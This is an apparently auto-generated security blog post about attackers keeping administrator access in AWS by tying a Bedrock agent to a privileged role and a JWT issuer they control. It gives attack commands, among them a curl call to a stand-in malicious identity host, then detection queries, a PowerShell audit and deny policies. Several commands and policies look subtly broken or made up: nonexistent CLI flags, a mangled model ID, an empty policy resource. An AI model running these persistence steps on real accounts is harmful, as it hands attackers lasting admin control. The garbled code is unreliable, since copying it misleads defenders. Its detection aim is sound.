Listen to this Post
Introduction:
In the rapidly evolving landscape of cloud security, the intersection of Generative AI services and Identity Access Management (IAM) presents a new frontier for attackers. A recent analysis by Adan Álvarez Vilchez, highlighted in Stephen Kuenzli’s Effective IAM newsletter, unveils a sophisticated persistence technique leveraging Amazon Bedrock AgentCore. This method allows a post-compromise attacker to establish a permanent foothold within an AWS environment without ever needing traditional IAM access keys, instead using a custom JSON Web Token (JWT) provider to masquerade as a privileged role.
Learning Objectives:
- Understand how attackers can use Amazon Bedrock AgentCore to bypass traditional IAM credential requirements.
- Learn to identify the CloudTrail blind spots associated with AgentCore activity.
- Implement detection rules and hardening strategies to mitigate this GenAI-specific persistence vector.
You Should Know:
1. The Anatomy of the AgentCore Persistence Technique
This technique exploits the trust relationship between Amazon Bedrock AgentCore and IAM roles. In a standard deployment, an AgentCore agent assumes an IAM role to execute actions. However, an attacker who has already compromised administrative privileges (or has the ability to create IAM roles and agents) can configure an agent to authenticate via an external JWT provider they control. Instead of stealing long-term IAM credentials, the attacker creates an agent, attaches it to a privileged IAM role (such as one with AdministratorAccess), and configures it to accept JWTs from a malicious identity provider. Once deployed, the attacker can invoke the agent using their own JWT, effectively issuing AWS CLI commands through the agent’s context indefinitely. The IAM role itself remains unused by a human user or EC2 instance, making traditional credential monitoring ineffective.
Step‑by‑step guide to simulating the attack vector (for defensive testing):
Prerequisites: AWS CLI configured with admin privileges, `jq` installed.
- Create a Malicious IAM Role: Define a trust policy that allows Bedrock to assume the role.
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "bedrock.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }
Command: `aws iam create-role –role-name BedrockPersistenceRole –assume-role-policy-document file://trust-policy.json`
Attach a privileged policy: `aws iam attach-role-policy –role-name BedrockPersistenceRole –policy-arn arn:aws:iam::aws:policy/AdministratorAccess`
2. Create the Agent with JWT Authentication: Using the AWS CLI or SDK, create an agent resource specifying the external JWT provider. Note that the `idleSessionTTLInSeconds` can be set to extend the session indefinitely.
aws bedrock-agent create-agent \
--agent-name "PersistenceAgent" \
--agent-resource-role-arn "arn:aws:iam::123456789012:role/BedrockPersistenceRole" \
--customer-encryption-key-arn "arn:aws:kms:us-east-1:123456789012:key/..." \
--idle-session-ttl-in-seconds 3600 \
--foundation-model "anthropic.-v2" \
--authentication-configuration '{"type":"JWT","jwtConfiguration":{"issuer":"https://malicious-idp.com","audience":"bedrock"}}'
- Invoke the Agent via Custom JWT: Once deployed, the attacker uses their external JWT to call the agent, bypassing native AWS authentication. The agent then executes commands using the attached privileged IAM role.
Generate JWT via malicious provider (simulated) TOKEN=$(curl -s -X POST https://malicious-idp.com/token -d "grant_type=client_credentials" | jq -r .access_token) Invoke the agent using the token aws bedrock-agent-runtime invoke-agent \ --agent-id "AGENT123456" \ --agent-alias-id "TSTALIASID" \ --session-id "malicious-session-001" \ --endpoint-url "https://bedrock-agent-runtime.us-east-1.amazonaws.com" \ --authorization "Bearer $TOKEN" \ --input-text '{"command":"aws s3 ls"}'This command lists S3 buckets even though no IAM user or access key was ever generated or used in the console.
2. CloudTrail Attribution Blind Spot and Detection Rules
One of the most dangerous aspects of this technique is the opacity in AWS CloudTrail logs. When an attacker invokes the agent using their JWT, the API calls made by the agent (e.g., s3:ListBuckets, ec2:DescribeInstances) are attributed to the AgentCore service principal, not the attacker’s identity or the JWT issuer. This creates a significant blind spot for security teams relying solely on `userIdentity` fields in CloudTrail to track malicious activity. The logs will show `userIdentity.type` as “AWSService” with `invokedBy` as “bedrock.amazonaws.com”, obscuring the true source of the privilege escalation.
Step‑by‑step guide to detecting this activity:
To detect this persistence, security teams must shift their monitoring focus from `userIdentity.arn` to `eventSource` and `userAgent` patterns.
- CloudTrail Query (Athena): Run this SQL query to identify Bedrock agent creation events that use non-standard JWT providers.
SELECT useridentity.arn, eventsource, eventname, requestparameters, eventtime, useragent FROM cloudtrail_logs WHERE eventsource = 'bedrock-agent.amazonaws.com' AND eventname IN ('CreateAgent', 'UpdateAgent', 'AssociateAgentKnowledgeBase') AND requestparameters LIKE '%jwt%' AND requestparameters NOT LIKE '%cognito-idp.amazonaws.com%' -- Exclude standard Cognito ORDER BY eventtime DESC; -
AWS CLI Detection (Linux/Windows): List all agents in the environment and audit their authentication configuration.
List all agents aws bedrock-agent list-agents --query 'agentSummaries[].{Name:agentName,Id:agentId,Status:agentStatus}' Get specific agent details to check for external JWT providers aws bedrock-agent get-agent --agent-id <AGENT_ID> --query 'agent.authenticationConfiguration'Expected output to look for: `{“type”: “JWT”, “jwtConfiguration”: {“issuer”: “https://suspicious-domain.com”}}`
-
Windows PowerShell (Using AWS Tools): For Windows-based security automation, use PowerShell to inventory agents and flag anomalies.
Get-BEDAgentList | ForEach-Object { $agent = Get-BEDAgent -AgentId $_.AgentId if ($agent.AuthenticationConfiguration.Type -eq "JWT" -and $agent.AuthenticationConfiguration.JwtConfiguration.Issuer -notlike "amazonaws.com") { Write-Warning "Potential persistence detected: Agent $($agent.AgentName) using external JWT issuer $($agent.AuthenticationConfiguration.JwtConfiguration.Issuer)" } } -
Mitigation and Hardening: Guarding the AI Supply Chain
Preventing this technique requires a shift-left security approach, specifically focusing on IAM least privilege and service control policies (SCPs). Since this persistence method relies on the ability to create agents and assign privileged roles, restricting these actions is critical. Organizations should treat Bedrock Agent creation with the same scrutiny as IAM role creation, as the two are now intrinsically linked in this attack chain.
Step‑by‑step guide to implementing preventive controls:
-
Implement Service Control Policies (SCPs): For AWS Organizations, deny the creation of Bedrock agents unless specific conditions are met. The following SCP prevents the creation of agents that are not using a whitelisted JWT issuer.
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Deny", "Action": [ "bedrock:CreateAgent", "bedrock:UpdateAgent" ], "Resource": "", "Condition": { "StringNotEquals": { "bedrock:JwtIssuer": [ "https://cognito-idp.us-east-1.amazonaws.com/us-east-1_abc123", "https://your-corp-okta.com" ] }, "Null": { "bedrock:JwtIssuer": "false" } } } ] } -
Harden IAM Roles with `PassRole` Restrictions: Limit which roles can be passed to Bedrock. The `iam:PassRole` permission should be constrained to prevent attackers from attaching highly privileged roles to newly created agents.
{ "Effect": "Deny", "Action": "iam:PassRole", "Resource": "arn:aws:iam:::role/BedrockPersistenceRole", "Condition": { "StringEquals": { "iam:PassedToService": "bedrock.amazonaws.com" } } } -
Configure AWS Config Rules: Deploy a custom AWS Config rule to automatically detect agents with external JWT configurations or roles with excessive privileges. This allows for automated remediation (e.g., deleting the agent or revoking the role attachment) upon detection.
What Undercode Say:
- GenAI Services are the new IAM Backdoor: The integration of AI services with IAM creates novel persistence mechanisms. Attackers are moving away from stealing keys to abusing service-to-service trust relationships.
- Visibility Requires Log Normalization: Relying on native CloudTrail dashboards is insufficient. Defenders must normalize logs to detect when high-privilege actions are being performed by services (like Bedrock) that are acting on behalf of an unverifiable external identity.
Prediction:
As Generative AI services become embedded in enterprise cloud architectures, we will see a surge in “agent-based” malware. Similar to how supply chain attacks compromised build pipelines, attackers will increasingly target the AI agent deployment pipelines. The industry will likely respond with new security frameworks specifically for AI agents, mandating strict JWT validation and forcing cloud providers to enhance CloudTrail to include the original JWT subject in the logs, closing the current attribution gap. Security teams must adapt now by treating AI service configurations as critical infrastructure, implementing rigorous IaC scanning for IAM roles tied to GenAI services.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Stephenkuenzli This – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
